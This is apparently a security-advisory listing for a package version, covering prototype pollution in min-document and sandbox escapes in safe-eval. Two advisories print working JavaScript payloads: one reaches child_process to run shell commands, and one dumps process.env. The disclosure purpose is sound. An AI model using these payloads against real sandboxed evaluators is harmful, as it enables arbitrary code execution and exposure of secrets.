All the vulnerabilities related to the version 2.1.1 of the package
min-document vulnerable to prototype pollution
A vulnerability exists in the 'min-document' package prior to version 2.19.0, stemming from improper handling of namespace operations in the removeAttributeNS method. By processing malicious input involving the proto property, an attacker can manipulate the prototype chain of JavaScript objects, leading to denial of service or arbitrary code execution. This issue arises from insufficient validation of attribute namespace removal operations, allowing unintended modification of critical object prototypes. The vulnerability remains unaddressed in the latest available version.
safe-eval vulnerable to Prototype Pollution
All versions of package safe-eval are vulnerable to Prototype Pollution which allows an attacker to add or modify properties of the Object.prototype.Consolidate when using the function safeEval. This is because the function uses vm variable, leading an attacker to modify properties of the Object.prototype.
safe-eval vulnerable to Sandbox Bypass due to improper input sanitization
All versions of the package safe-eval are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution (RCE).
Vulnerable functions:
defineGetter, stack(), toLocaleString(), propertyIsEnumerable.call(), valueOf().
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval
are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
safe-eval vulnerable to Prototype Pollution via the safeEval function
All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper sanitization of its parameter content.
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval
are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env
.
No fix is currently available. Consider using an alternative package until a fix is made available.